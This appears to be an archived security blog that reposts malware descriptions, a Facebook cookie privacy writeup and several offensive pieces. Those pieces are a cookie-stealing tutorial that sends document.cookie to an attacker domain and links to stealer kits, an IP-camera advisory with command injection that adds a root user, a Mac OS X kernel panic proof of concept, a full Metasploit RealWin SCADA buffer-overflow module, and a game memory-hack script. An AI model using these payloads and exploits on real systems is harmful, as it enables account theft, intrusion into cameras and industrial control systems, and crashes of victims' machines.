Pages

13 October 2011

Trojan:Java/Redbrowser.B

Aliases :

There are no other names known for Trojan:Java/Redbrowser.B.

Explanation :


Trojan:Java/RedBrowser.B is a trojan that affects mobile devices with Java Platform, Micro Edition supported, that poses as a mobile-dating application.


Top

Trojan:Java/RedBrowser.B is a trojan that affects mobile devices with Java Platform, Micro Edition supported, that poses as a legitimate application.

Trojan:Java/RedBrowser.B may be downloaded as a standard .JAR file installer with the name 'postcard.jar', posing as a mobile-dating application.

When it runs in the background, it sends SMS messages without the user's consent, causing the infected user to incur high SMS charges. The SMS number and message is parsed from a file that is bundled with the trojan named 'ico.ico'; this file is a text file masquerading as an icon file.



Analysis by Marianne Mallen
Baca Selengkapnya... Trojan:Java/Redbrowser.B

ABUS TVIP 11550/21550 File Read / File Upload / Command Exec

Title  : ABUS TVIP 11550/21550 Multiple vulnerabilities (and possibly other ABUS cams)
Author : Marco van Berkum

- Summary
- Arbitrary file read
- Arbitrary file upload
- Arbitrary command excution (input validation bug)
- How it's totally compromised including ssh root login.

- Summary

The ABUS 11550 and 21550 are IP Webcams that can be configured via a
webinterface.
While experimenting multiple vulnerabilities where discovered that give
rootaccess
to the Operating System, debian-linux, of the camera. The webserver of the
camera is
BOA and runs as root.

Although these vulnerabilities can ONLY be exploited  when logged in as
admin, they
can still be considered critical since the camera can be used to gain
access to the
network behind it. I did not find a way past the login screen without
proper credentials (yet).

- Arbitrary file read

When logged in as admin its possible to read any file on the filesystem since
the webserver is running as root.

http://ipcamera/cgi-bin/admin/fileread?READ.filePath=/etc/shadow

- Arbitrary file upload

Similar to the fileread CGI there also is a filewrite CGI that can
(over)write any
file.

http://ipcamera/cgi-bin/admin/filewrite?SAVE.filePath=/tmp/file%26SAVE

- Arbitrary command execution (input validation bug)

The camera has several htmlforms to configure services such as a FTPclient
and
a SMTPclient. These are used to notify users and upload videos when the
camera's motion detection detects movement. These htmlforms can be used to
execute
arbitrary commands as root. I've found bugs in the SMTP and FTP forms but
probably
other forms will contain the same bug (unchecked).

Exploit:
In the configuration -> smtp general part is a webform where an
administrator's
emailadress can be filled out (Administrator e-Mail address).
The form lacks checking metacharacters such as ;, | and `.
When a test email from this form is sent the webinterface executes ssmtp -t
.
So it is possible to 'break' the commandline by using `ls` for instance.
After
submitting
the command via the 'testbutton' this will be the output:

smtp: Connect to host

smtp: MAIL FROM:
SMTP server error
................SMTP Test Failed...........

Which means we are situated in a directory that contains a backup directory.

`pwd` also works

smtp: Connect to host

smtp: MAIL FROM:
SMTP server error
................SMTP Test Failed...........

Unfortunately this only outputs the first line of the commandline output.
But, we can work around this :)

The system also contains a System Log function that shows output of the
systemlog.
Now, if we want a little more output than just the first line, for instance
"ls /" we can do it by filling out `ls /|logger` which sends the output
to the system logfile. Which can then be viewed from the webinterface.

Oct  8 14:35:15  root: bin
Oct  8 14:35:15  root: dev
Oct  8 14:35:15  root: etc
Oct  8 14:35:15  root: include
Oct  8 14:35:15  root: init
Oct  8 14:35:15  root: lib
Oct  8 14:35:15  root: linuxrc
Oct  8 14:35:15  root: mnt
Oct  8 14:35:15  root: opt
Oct  8 14:35:15  root: proc
Oct  8 14:35:15  root: root
Oct  8 14:35:15  root: sbin
Oct  8 14:35:15  root: smtp_test.sh
Oct  8 14:35:15  root: sys
Oct  8 14:35:15  root: tag_replace.sh
Oct  8 14:35:15  root: tmp
Oct  8 14:35:15  root: usr
Oct  8 14:35:15  root: var
Oct  8 14:35:15  root: web

Getting the correct commandline output can also be obtained by redirecting
it to a readble file on de webserver itself by doing `ls -alR
/>/web/html/lsoutput.txt`
It can then be accessed by the url http://ipcamera/lsoutput.txt

- How it's totally compromised including ssh root login.

I did it in a few steps. First did a `ls -alR/>/web/html/lsoutput.txt` to
see what was on the filesystem and noticed that dropbear is available on the
system. Dropbear is a SSHserver/Client :)
So, I started it with the `/etc/dropbear/dropbear` command.

Then I took a look at the /etc/shadowfile and noticed that user root had
no password,
so ssh'ing in was not an option, yet. So had to create a user, did it the
following way:

`echo "test:x:0:0:test:/tmp:/bin/sh">>/etc/passwd`
and
`echo
"test:$1$/DqZS5Cm$PUeCTPpYIrGQnxsZtsfDY1:12963:0:99999:7:::">>/etc/shadow`

So, now we can login as user test with password test. User test has UID 0,
thus root.

test@ipcamera's password:
Welcome to

_____    __      ___       __     ___       _     _    _
|  ___|  /      / __     /     |  _     /       / /
| |___  / /   | /__   / /   | |  |  / /     V /
|  ___|| |__| | |  _   / | |__| | | | | | | |__| |    /
| |    |  __  | | |    |  __  | | |_/ / |  __  |   | |
|_|    |_|  |_| |_|   \_|_|  |_| |___ /  |_|  |_|   |_|

For further information check:
http://www.GM.com/



BusyBox v1.1.3 (2010.05.10-11:54+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.

[test]#

Voila ;)

Also, its possible to mount a samba or nfsshare via the webinterface and
copy files
that way.

Just my two cents
Marco van berkum
Baca Selengkapnya... ABUS TVIP 11550/21550 File Read / File Upload / Command Exec

12 October 2011

Cookies Stealing By PakH3X0r

.itsuper PG! TUT OF Cookies Stealing By PakH3X0r
Note: Dnt use this on any innocent ppls and Pakistani and i m not responsible for any illegal use

Wt r cookies?
Cookies r basically strings by which a website remember you your PC ect.
When u login to any web then web server will make some cookies 



.itsuper PG2 And web server will remember u by your cookies

Wt is cookies stealing?
Cookies stealing is a way by which u can hack any account with out knowing user name and password u hv 2 send a link to your victim when he click your link he will get a  image or PHP script and this script will



.itsuper PG3 give u access to his account until victim get logout but in the case of yahoo cookies will deleted after 24 hours and u need to just refresh the page to get new cookies for you interesting
Hw we can steal cookies?
i knw 2 ways to steal cookies most ppls ask me ab8 this method but today



.itsuper PG4 i m giving u many use full scripts by these script u can hack ppls download scripts from here
http://tinyurl.com/cookies-stealing
this zip file include IP stealer  script one facebook cookies stealing script one cookies stealing script and most important yahoo cookies stealer script



.itsuper Pg5 1st of all i will tell u ab8 yahoo cookies stealing u will get an rar file in that file you will get 5 more files upload  them on some free hosting sites then create a directory with the name cookies and send this java script to ur victim javascript:document.location='http://yourdomain.com/yahoo.php?ex='.concat(escape(document.cookie));


.itsuper PG6 ok download another script from here  tut is  also in it hope u will enjoy
http://tinyurl.com/5vbukmw
Baca Selengkapnya... Cookies Stealing By PakH3X0r

League of Legends Zoom Hack Auto IT Script

;; author: mawize
;; version: 0.10
;; last update: October 11


;; the magic address ;)
;; you can find the magic address easyly by following the steps in this video
;; http://www.youtube.com/watch?v=KUJsOUn9E9A
$ADRESSE = 0x00AAF21C ;; Patch 1.0.0.126 (Oct 10 2011/16:16:12)

;; Hotkeys
;; you can find the HexCodes for all Keys here
;; http://www.autoit.de/dokumentation_aktuell/libfunctions/_IsPressed.htm
$KEY_ZOOMIN = "6D" ; NUMPADSUB
$KEY_ZOOMOUT = "6B" ; NUMPADADD

;; zoom step
;; you can play around with this but i think 100 was pretty good
$ZOOMSTEP = 100

;; this probably wont change ;)
$PNAME = "League of Legends.exe"

;#include
#include
$currentZoom = 2250;
$previousZoom = 2250;

While 1
    sleep(10)

    $handle = _MemoryOpen(ProcessExists($PNAME))
    If(_IsPressed($KEY_ZOOMIN)) Then
        $currentZoom = _MemoryRead($ADRESSE,$handle, "float") - $ZOOMSTEP
    ElseIf(_IsPressed($KEY_ZOOMOUT)) Then
        $currentZoom = _MemoryRead($ADRESSE,$handle, "float") + $ZOOMSTEP
    EndIf
   
    If($currentZoom <> $previousZoom AND ProcessExists($PNAME)) Then
        _MemoryWrite($ADRESSE,$handle,$currentZoom, "float")
        $previousZoom = $currentZoom;
    EndIf
    _MemoryClose(ProcessExists($PNAME))
WEnd


;=========================================================
;==================== Start NomadMemory.au3 =====================
;=========================================================

#include-once
#region _Memory
;=========================================================
; AutoIt Version:    3.1.127 (beta)
; Language:            English
; Platform:            All Windows
; Author:            Nomad
; Requirements:        These functions will only work with beta.
;=========================================================
; Credits:    wOuter - These functions are based on his original _Mem() functions.
;            But they are easier to comprehend and more reliable.  These
;            functions are in no way a direct copy of his functions.  His
;            functions only provided a foundation from which these evolved.
;=========================================================
;
; Functions:
;
;=========================================================
; Function:            _MemoryOpen($iv_Pid[, $iv_DesiredAccess[, $iv_InheritHandle]])
; Description:        Opens a process and enables all possible access rights to the
;                    process.  The Process ID of the process is used to specify which
;                    process to open.  You must call this function before calling
;                    _MemoryClose(), _MemoryRead(), or _MemoryWrite().
; Parameter(s):        $iv_Pid - The Process ID of the program you want to open.
;                    $iv_DesiredAccess - (optional) Set to 0x1F0FFF by default, which
;                                        enables all possible access rights to the
;                                        process specified by the Process ID.
;                    $iv_InheritHandle - (optional) If this value is TRUE, all processes
;                                        created by this process will inherit the access
;                                        handle.  Set to 1 (TRUE) by default.  Set to 0
;                                        if you want it FALSE.
; Requirement(s):    None.
; Return Value(s):     On Success - Returns an array containing the Dll handle and an
;                                 open handle to the specified process.
;                    On Failure - Returns 0
;                    @Error - 0 = No error.
;                             1 = Invalid $iv_Pid.
;                             2 = Failed to open Kernel32.dll.
;                             3 = Failed to open the specified process.
; Author(s):        Nomad
; Note(s):
;========================================================
Func _MemoryOpen($iv_Pid, $iv_DesiredAccess = 0x1F0FFF, $iv_InheritHandle = 1)
   
    If Not ProcessExists($iv_Pid) Then
        SetError(1)
        Return 0
    EndIf
   
    Local $ah_Handle[2] = [DllOpen('kernel32.dll')]
   
    If @Error Then
        SetError(2)
        Return 0
    EndIf
   
    Local $av_OpenProcess = DllCall($ah_Handle[0], 'int', 'OpenProcess', 'int', $iv_DesiredAccess, 'int', $iv_InheritHandle, 'int', $iv_Pid)
   
    If @Error Then
        DllClose($ah_Handle[0])
        SetError(3)
        Return 0
    EndIf
   
    $ah_Handle[1] = $av_OpenProcess[0]
   
    Return $ah_Handle
   
EndFunc

;=========================================================
; Function:            _MemoryRead($iv_Address, $ah_Handle[, $sv_Type])
; Description:        Reads the value located in the memory address specified.
; Parameter(s):        $iv_Address - The memory address you want to read from. It must
;                                  be in hex format (0x00000000).
;                    $ah_Handle - An array containing the Dll handle and the handle
;                                 of the open process as returned by _MemoryOpen().
;                    $sv_Type - (optional) The "Type" of value you intend to read.
;                                This is set to 'dword'(32bit(4byte) signed integer)
;                                by default.  See the help file for DllStructCreate
;                                for all types.  An example: If you want to read a
;                                word that is 15 characters in length, you would use
;                                'char[16]' since a 'char' is 8 bits (1 byte) in size.
; Return Value(s):    On Success - Returns the value located at the specified address.
;                    On Failure - Returns 0
;                    @Error - 0 = No error.
;                             1 = Invalid $ah_Handle.
;                             2 = $sv_Type was not a string.
;                             3 = $sv_Type is an unknown data type.
;                             4 = Failed to allocate the memory needed for the DllStructure.
;                             5 = Error allocating memory for $sv_Type.
;                             6 = Failed to read from the specified process.
; Author(s):        Nomad
; Note(s):            Values returned are in Decimal format, unless specified as a
;                    'char' type, then they are returned in ASCII format.  Also note
;                    that size ('char[size]') for all 'char' types should be 1
;                    greater than the actual size.
;=========================================================
Func _MemoryRead($iv_Address, $ah_Handle, $sv_Type = 'dword')
   
    If Not IsArray($ah_Handle) Then
        SetError(1)
        Return 0
    EndIf
   
    Local $v_Buffer = DllStructCreate($sv_Type)
   
    If @Error Then
        SetError(@Error + 1)
        Return 0
    EndIf
   
    DllCall($ah_Handle[0], 'int', 'ReadProcessMemory', 'int', $ah_Handle[1], 'int', $iv_Address, 'ptr', DllStructGetPtr($v_Buffer), 'int', DllStructGetSize($v_Buffer), 'int', '')
   
    If Not @Error Then
        Local $v_Value = DllStructGetData($v_Buffer, 1)
        Return $v_Value
    Else
        SetError(6)
        Return 0
    EndIf
   
EndFunc

;==========================================================
; Function:            _MemoryWrite($iv_Address, $ah_Handle, $v_Data[, $sv_Type])
; Description:        Writes data to the specified memory address.
; Parameter(s):        $iv_Address - The memory address which you want to write to.
;                                  It must be in hex format (0x00000000).
;                    $ah_Handle - An array containing the Dll handle and the handle
;                                 of the open process as returned by _MemoryOpen().
;                    $v_Data - The data to be written.
;                    $sv_Type - (optional) The "Type" of value you intend to write.
;                                This is set to 'dword'(32bit(4byte) signed integer)
;                                by default.  See the help file for DllStructCreate
;                                for all types.  An example: If you want to write a
;                                word that is 15 characters in length, you would use
;                                'char[16]' since a 'char' is 8 bits (1 byte) in size.
; Return Value(s):    On Success - Returns 1
;                    On Failure - Returns 0
;                    @Error - 0 = No error.
;                             1 = Invalid $ah_Handle.
;                             2 = $sv_Type was not a string.
;                             3 = $sv_Type is an unknown data type.
;                             4 = Failed to allocate the memory needed for the DllStructure.
;                             5 = Error allocating memory for $sv_Type.
;                             6 = $v_Data is not in the proper format to be used with the
;                                 "Type" selected for $sv_Type, or it is out of range.
;                             7 = Failed to write to the specified process.
; Author(s):        Nomad
; Note(s):            Values sent must be in Decimal format, unless specified as a
;                    'char' type, then they must be in ASCII format.  Also note
;                    that size ('char[size]') for all 'char' types should be 1
;                    greater than the actual size.
;==========================================================
Func _MemoryWrite($iv_Address, $ah_Handle, $v_Data, $sv_Type = 'dword')
   
    If Not IsArray($ah_Handle) Then
        SetError(1)
        Return 0
    EndIf
   
    Local $v_Buffer = DllStructCreate($sv_Type)
   
    If @Error Then
        SetError(@Error + 1)
        Return 0
    Else
        DllStructSetData($v_Buffer, 1, $v_Data)
        If @Error Then
            SetError(6)
            Return 0
        EndIf
    EndIf
   
    DllCall($ah_Handle[0], 'int', 'WriteProcessMemory', 'int', $ah_Handle[1], 'int', $iv_Address, 'ptr', DllStructGetPtr($v_Buffer), 'int', DllStructGetSize($v_Buffer), 'int', '')
   
    If Not @Error Then
        Return 1
    Else
        SetError(7)
        Return 0
    EndIf
   
EndFunc

;==========================================================
; Function:            _MemoryClose($ah_Handle)
; Description:        Closes the process handle opened by using _MemoryOpen().
; Parameter(s):        $ah_Handle - An array containing the Dll handle and the handle
;                                 of the open process as returned by _MemoryOpen().
; Return Value(s):    On Success - Returns 1
;                    On Failure - Returns 0
;                    @Error - 0 = No error.
;                             1 = Invalid $ah_Handle.
;                             2 = Unable to close the process handle.
; Author(s):        Nomad
; Note(s):
;===========================================================
Func _MemoryClose($ah_Handle)
   
    If Not IsArray($ah_Handle) Then
        SetError(1)
        Return 0
    EndIf
   
    DllCall($ah_Handle[0], 'int', 'CloseHandle', 'int', $ah_Handle[1])
    If Not @Error Then
        DllClose($ah_Handle[0])
        Return 1
    Else
        DllClose($ah_Handle[0])
        SetError(2)
        Return 0
    EndIf
   
EndFunc

;===========================================================
; Function:            SetPrivilege( $privilege, $bEnable )
; Description:        Enables (or disables) the $privilege on the current process
;                   (Probably) requires administrator privileges to run
;
; Author(s):        Larry (from autoitscript.com's Forum)
; Notes(s):
; http://www.autoitscript.com/forum/index.php?s=&showtopic=31248&view=findpost&p=223999
;===========================================================

Func SetPrivilege( $privilege, $bEnable )
   
    Const $TOKEN_ADJUST_PRIVILEGES = 0x0020
    Const $TOKEN_QUERY = 0x0008
    Const $SE_PRIVILEGE_ENABLED = 0x0002
    Local $hToken, $SP_auxret, $SP_ret, $hCurrProcess, $nTokens, $nTokenIndex, $priv
    $nTokens = 1
    $LUID = DLLStructCreate("dword;int")
    If IsArray($privilege) Then    $nTokens = UBound($privilege)
    $TOKEN_PRIVILEGES = DLLStructCreate("dword;dword[" & (3 * $nTokens) & "]")
    $NEWTOKEN_PRIVILEGES = DLLStructCreate("dword;dword[" & (3 * $nTokens) & "]")
    $hCurrProcess = DLLCall("kernel32.dll","hwnd","GetCurrentProcess")
    $SP_auxret = DLLCall("advapi32.dll","int","OpenProcessToken","hwnd",$hCurrProcess[0],   _
            "int",BitOR($TOKEN_ADJUST_PRIVILEGES,$TOKEN_QUERY),"int_ptr",0)
    If $SP_auxret[0] Then
        $hToken = $SP_auxret[3]
        DLLStructSetData($TOKEN_PRIVILEGES,1,1)
        $nTokenIndex = 1
        While $nTokenIndex <= $nTokens
            If IsArray($privilege) Then
                $priv = $privilege[$nTokenIndex-1]
            Else
                $priv = $privilege
            EndIf
            $ret = DLLCall("advapi32.dll","int","LookupPrivilegeValue","str","","str",$priv,   _
                    "ptr",DLLStructGetPtr($LUID))
            If $ret[0] Then
                If $bEnable Then
                    DLLStructSetData($TOKEN_PRIVILEGES,2,$SE_PRIVILEGE_ENABLED,(3 * $nTokenIndex))
                Else
                    DLLStructSetData($TOKEN_PRIVILEGES,2,0,(3 * $nTokenIndex))
                EndIf
                DLLStructSetData($TOKEN_PRIVILEGES,2,DllStructGetData($LUID,1),(3 * ($nTokenIndex-1)) + 1)
                DLLStructSetData($TOKEN_PRIVILEGES,2,DllStructGetData($LUID,2),(3 * ($nTokenIndex-1)) + 2)
                DLLStructSetData($LUID,1,0)
                DLLStructSetData($LUID,2,0)
            EndIf
            $nTokenIndex += 1
        WEnd
        $ret = DLLCall("advapi32.dll","int","AdjustTokenPrivileges","hwnd",$hToken,"int",0,   _
                "ptr",DllStructGetPtr($TOKEN_PRIVILEGES),"int",DllStructGetSize($NEWTOKEN_PRIVILEGES),   _
                "ptr",DllStructGetPtr($NEWTOKEN_PRIVILEGES),"int_ptr",0)
        $f = DLLCall("kernel32.dll","int","GetLastError")
    EndIf
    $NEWTOKEN_PRIVILEGES=0
    $TOKEN_PRIVILEGES=0
    $LUID=0
    If $SP_auxret[0] = 0 Then Return 0
    $SP_auxret = DLLCall("kernel32.dll","int","CloseHandle","hwnd",$hToken)
    If Not $ret[0] And Not $SP_auxret[0] Then Return 0
    return $ret[0]
EndFunc   ;==>SetPrivilege

#endregion
Baca Selengkapnya... League of Legends Zoom Hack Auto IT Script

10 October 2011

pwtool.php wp security

//From inc/admin/pwtool.php:
echo "Strong Password: " . '' . make_password(15) . "";


//From libs/functions.php:
if (!function_exists('make_password')) :
    /**
     * @public
     * @uses make_seed()
     * Generate a strong password
     * @return string
     */
    function make_password($password_length)
    {
        srand(make_seed());
        $alfa = "!@123!@4567!@890qwer!@tyuiopa@!sdfghjkl@!zxcvbn@!mQWERTYUIO@!PASDFGH@!JKLZXCVBNM!@";
        $token = "";
        for($i = 0; $i < $password_length; $i ++) {
          $token .= $alfa[rand(0, strlen($alfa))];
        }
        return $token;
    }
endif;





http://pastebin.com/4rJjz3S2
Baca Selengkapnya... pwtool.php wp security

09 October 2011

Mac OS X < 10.6.7 Kernel Panic Exploit

/*
Mac OS X < 10.6.7 Kernel Panic Exploit
CVE-2011-0182, Proof Of Concept Code

Author - Chanam Park (hkpco)

Date - 2011. 06
Contact - chanam.park@hkpco.kr , http://hkpco.kr , @hkpco

Thanks for inspiration / x82, riaf.

*/
// Compile: gcc -o CVE-2011-0182_PoC CVE-2011-0182_PoC.c -m32

#include

#include

#include


#include

#include
#include

void dummy_func( void ) { asm volatile( ".byte 0xff" ); }


int main( void )

{
int ret;
union ldt_entry cgate, cgate2;
char dummy[128] = {0x00,};

cgate.call_gate.offset00 = (unsigned int)dummy_func & 0xffff;

cgate.call_gate.offset16 = ((unsigned int)dummy_func >> 16) & 0xffff;
// You can input shellcode address value here to get the root shell.
/* I got the root shell before. But, It was tested on Hackintosh for AMD. :-p
The normal system has a little different environment.
I have no time for this anymore because of my summer break is over.
So.. Good Luck! */

cgate.call_gate.argcnt = 0;

cgate.call_gate.type = 0xc; // DESC_CALL_GATE
cgate.call_gate.dpl = 3;
cgate.call_gate.present = 1;

cgate.call_gate.seg.rpl = 0;

cgate.call_gate.seg.ti = 0;
cgate.call_gate.seg.index = 16;

cgate2.call_gate.offset00 = 0x0;


cgate2.call_gate.seg.rpl = 0;

cgate2.call_gate.seg.ti = 0;
cgate2.call_gate.seg.index = 0;

cgate2.call_gate.argcnt = 0;

cgate2.call_gate.type = 0;
cgate2.call_gate.dpl = 0;
cgate2.call_gate.present = 1;

cgate2.call_gate.offset16 = 0x0;


printf( "// coded by Chanam Park (hkpco)\n\n" );


ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate, 1 );

printf( "Selector Number in LDT <1>: 0x%x\n", ret );

ret = i386_set_ldt( LDT_AUTO_ALLOC, &cgate2, 1 );

printf( "Selector Number in LDT <2>: 0x%x\n\n", ret );

printf( "If you run this program, it can possibly cause \"Kernel Panic\".\n" );

printf( "The program will be continued when you input any value.\n" );
printf( "-> " );
fflush(stdout);
scanf( "%s", dummy );

asm volatile( "lcall $0x3f, $0x0" );

// Trigger

return 0;

}
Baca Selengkapnya... Mac OS X < 10.6.7 Kernel Panic Exploit

30 September 2011

Facebook Fixes and Explains Logout Issue

I wrote a post two days ago about privacy issues with the Facebook logout procedure which could lead to your subsequent web requests to third-party sites that integrate Facebook widgets being identifiable and linked back to your real account. Over the course of the past 48 hours since that post was published we have researched the issue further and have been in constant contact with Facebook on working out solutions and clarifying behavior on the site.

My goal was to both identify bugs in the logout process and see that they are fixed, and to communicate with Facebook in getting some of the unanswered questions answered so that the Facebook using public can be informed of how cookies are used on the site - especially with regard to third-party requests.

In summary, Facebook has made changes to the logout process and they have explained each part of the process and the cookies that the site uses in detail.

The Data

To help better understand the cookie data that we have collected, I have formatted it into a table that displays the lifetime of each cookie across a number of different web requests. The table can be found on a separate page here. You can find the raw output from my Firefox session here.

The rows of the table represent each cookie found throughout the debugging session. The first column is the name of the cookie. Each subsequent column shows how the value of the cookie was altered (or not) throughout the following four page requests :


  1. A logged in request to facebook.com
  2. A request to the 'logout' action within Facebook
  3. The immediate request of the Facebook homepage
  4. A subsequent request to the Facebook homepage after restarting the browser
The table is color coded so that it is easier to see which cookies are altered and which cookies never change. The data shows that five cookies retain value after the logout procedure and a browser restart, while a further two survive the logout procedure and remain as session cookies.

The Fix

The five cookies that persist are datr, lu, p, L and act. The two cookies that also persist after the logout procedure as session cookies are a_user and a_xs.

The most important of these is a_user, which is the users ID. As of today, this cookie is now destroyed on logout . Facebook had the following to say about the a_user cookie :

What you see in your browser is largely typical, except a_user which is less common and should be cleared upon logout (it is set on some photo upload pages). There is a bug where a_user was not cleared on logout. We will be fixing that today.
The other 'a' cookie, a_xs, is now also deleted on logout. a_xs is used to prevent cross-site request forgery.

The Other Cookies

This leaves a number of other cookies, and I will be explaining the purpose of each one as per information from Facebook.

The datr cookie is set when a browser first visits facebook.com. The purpose of it, as per Facebook, is :
We set the ‘datr’ cookie when a web browser accesses facebook.com (except social plugin iframes), and the cookie helps us identify suspicious login activity and keep users safe. For instance, we use it to flag questionable activity like failed login attempts and attempts to create multiple spam accounts.

The lu cookie is also set the first time a browser visits facebook.com and is used to identify the browser pre-fill the users email address in the login form. The purpose of it, as per Facebook again, is :

the ‘lu’ cookie helps protect people using public computers. The data it contains is used to make subtle changes to the login form, such as prefilling your email address and unchecking the “Keep me logged in” option if we detect multiple users signing in with the same browser. If you log out, this cookie does not contain your user id and Facebook will not prefill the email field.

These cookies, by the very purpose they serve, uniquely identify the browser being used - even after logout. As a user, you have to take Facebook at their word that the purpose of these cookies is only for what is being described. The previous a_user cookie that was fixed identified your user account and has been fixed, these cookies identify the browser and are not re-associated with your logged in account.

Most of the remaining cookies are not very interesting - they set things like the language of your browser and device dimensions. The most interesting cookie, for me (after the userid, obviously), was act. The values for this cookie for the requests I logged were 1316962370811/2;, 1316972790935/11; and 1317032073811/0;. It is a timestamp for each request, in milliseconds since UNIX epoch (1st January 1970). What interested me was that not only was the timestamp accurate to milliseconds (ie. thousandths of a second) but that an additional number was being added to it. My gut instinct was that the additional number (ie. the /11, /0 and /2 in those exaples) was being added to make the timestamp unique for each and every request. Facebook confirmed this :

It is a monotonically increasing counter of actions since the start of logging. As we shared, this is for the collection of performance data -- nothing else.

I understand the technical reason for that - they can store the timestamp as a primary key in their logging backend and not have to associate benchmarking of each request back to a user. I believe Facebook here when they say that although this is a unique identifier it isn't used to link back to a user id - but it is definitely being logged and it can be linked to a user.

Where Now

Facebook has changed as much as they can change with the logout issue. They want to retain the ability to track browsers after logout for safety and spam purposes, and they want to be able to log page requests for performance reasons etc. I would still recommend that users clear cookies or use a separate browser, though. I believe Facebook when they describe what these cookies are used for, but that is not a reason to be complacent on privacy issues and to take initiative in remaining safe.

I discovered a lot of other issues and interesting areas ripe for further investigation while researching the cookie logout issue - and I will be taking each one of them up on the blog here in the near future.

I must thank Gregg Stefancik, an engineer at Facebook who reached out (and also left the 'official' Facebook response as a comment on the previous post) and who worked with us on this issue. Thank you as well to other Facebook engineers who reached out. On my end Ashkan Soltani and Brian Kennish (author of the excellent disconnect browser plugins that every user should be running) were invaluable with providing tests, advice and additional sets of eyes.




Sumber : http://nikcub.appspot.com/facebook-fixes-logout-issue-explains-cookies
Baca Selengkapnya... Facebook Fixes and Explains Logout Issue

realwin_on_fc_binfile_a.rb

##
# $Id: realwin_on_fc_binfile_a.rb 12975 2011-06-20 04:01:47Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name'           => 'DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow',
'Description'    => %q{
This module exploits a vulnerability found in DATAC Control International RealWin
SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE
packet via port 910, RealWin will try to create a file (which would be saved to
C:Program FilesDATACReal WinRW-versionfilename) by first copying the user-
supplied filename with a inline memcpy routine without proper bounds checking, which
results a stack-based buffer overflow, allowing arbitrary remote code execution.

Tested version: 2.0 (Build 6.1.8.10)
},
'Author'         => [ 'Luigi Auriemma', 'MC' ],
'License'        => MSF_LICENSE,
'Version'        => '$Revision: 12975 $',
'References'     =>
[
[ 'URL', 'http://aluigi.altervista.org/adv/realwin_5-adv.txt' ],
],
'Privileged'     => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload'        =>
{
'Space'    => 450,
'BadChars' => "x00x3ax26x3fx25x23x20x0ax0dx2fx2bx0bx5c",
'StackAdjustment' => -3500,
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Universal', { 'Ret' => 0x4002da21 } ], # P/P/R FlexMLang.DLL 8.1.45.19
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2011'))

register_options([Opt::RPORT(910)], self.class)
end

def exploit

connect

data =  [0x67542310].pack('V')
data << [0x00000824].pack('V')
data << [0x00100001].pack('V')
data << [0x00000001].pack('V')  #Packet type
data << [0x00060000].pack('V')
data << [0x0000ffff].pack('V')
data << rand_text_alpha_upper(221)
data << generate_seh_payload(target.ret)
data << rand_text_alpha_upper(17706 - payload.encoded.length)
data << [0x451c3500].pack('V')
data << [0x00000154].pack('V')
data << [0x00020040].pack('V')

print_status("Trying target #{target.name}...")
sock.put(data)
select(nil,nil,nil,0.5)

handler
disconnect

end

end


=begin
0:022> r
eax=00000819 ebx=0587f89c ecx=00000039 edx=011fba04 esi=011fc138 edi=0587fffd
eip=0042702f esp=0587f738 ebp=011fba04 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
RealWinDemo+0x2702f:
0042702f f3a5            rep movs dword ptr es:[edi],dword ptr [esi]
0:022> !exchain
0587f748: RealWinDemo+e0b78 (004e0b78)
0587f9a4: FlexMLang!GetFlexMLangIResourceBrowser+2b991 (4002da21)
Invalid exception stack at 49a206eb
0:022> u 4002da21
FlexMLang!GetFlexMLangIResourceBrowser+0x2b991:
4002da21 5e              pop     esi
4002da22 5b              pop     ebx
4002da23 c3              ret
=end
Baca Selengkapnya... realwin_on_fc_binfile_a.rb

27 September 2011

Program:Win32/Seeearch

Aliases :

Program:Win32/Seeearch is also known as Adware.VlcPlayer (Dr.Web), IsolationAware (Sophos).

Explanation :

Program:Win32/Seeearch is a web browser toolbar that may be bundled with a fake setup application named "Vlc Media Player".

Top

Program:Win32/Seeearch is a web browser toolbar that may be bundled with a fake setup application named "Vlc Media Player".

Installation

When run, the fake installer displays the following graphic: It also displays an End User License Agreement: The installer displays an error message such as the following: It then drops the following files:
\Seeearch\seeearch.crc
\Seeearch\seeearch.dll
\Seeearch\start.html
\Seeearch\tbhelper.dll
\Seeearch\uninstall.exe
\Seeearch\update.exe
\Seeearch\21_pro.png
\Seeearch\58tuto02.jpg
\Seeearch\about.html
\Seeearch\basis.xml
\Seeearch\bookmark_256.png
\Seeearch\c1.png
\Seeearch\c2.png
\Seeearch\demo_logo.bmp
\Seeearch\demo_logo.bmp_16.bmp
\Seeearch\dice.png
\Seeearch\error.html
\Seeearch\facebook.png
\Seeearch\facebooklay.png
\Seeearch\favicon.ico
\Seeearch\football.png
\Seeearch\google_youtube.png
\Seeearch\icons.bmp
\Seeearch\icon_news.jpg
\Seeearch\kpat.png
\Seeearch\kpat2.png
\Seeearch\label_new_blue.png
\Seeearch\label_new_red.png
\Seeearch\littlelogo.png
\Seeearch\log.bmp
\Seeearch\log.bmp_30.bmp
\Seeearch\logotool.png
\Seeearch\logotoolbar.png
\Seeearch\loupe.png
\Seeearch\megaupload.png
\Seeearch\meteo.png
\Seeearch\money.png
\Seeearch\movies.png
\Seeearch\p1.png
\Seeearch\p2.png
\Seeearch\play.png
\Seeearch\refre.png
\Seeearch\refresh.png
\Seeearch\search_button_format_bing.png
\Seeearch\sims2_1.png
\Seeearch\social_youtube.png
\Seeearch\STREAM1.png
\Seeearch\STREAM2.png
\Seeearch\tweet.png
\Seeearch\twitter.png
\Seeearch\v1.png
\Seeearch\v2.png
\Seeearch\version.txt
\Seeearch\video.png
\Seeearch\weather.png
\Seeearch\youtube.png 

Note : we observed that in the wild samples of Win32/Seeearch use the following folder locations as the "":
    D:\%ProgramFiles%

The registry is modified to run Win32/Seeearch as a Browser Helper Object.
